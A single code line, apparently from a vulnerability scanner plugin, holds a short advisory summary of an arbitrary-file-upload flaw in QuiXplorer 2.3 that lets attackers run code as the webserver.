tag_summary = "QuiXplorer is prone to an arbitrary-file-upload vulnerability because
the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and run it
in the context of the webserver process.

QuiXplorer 2.3 is vulnerable; other versions may also be affected.";
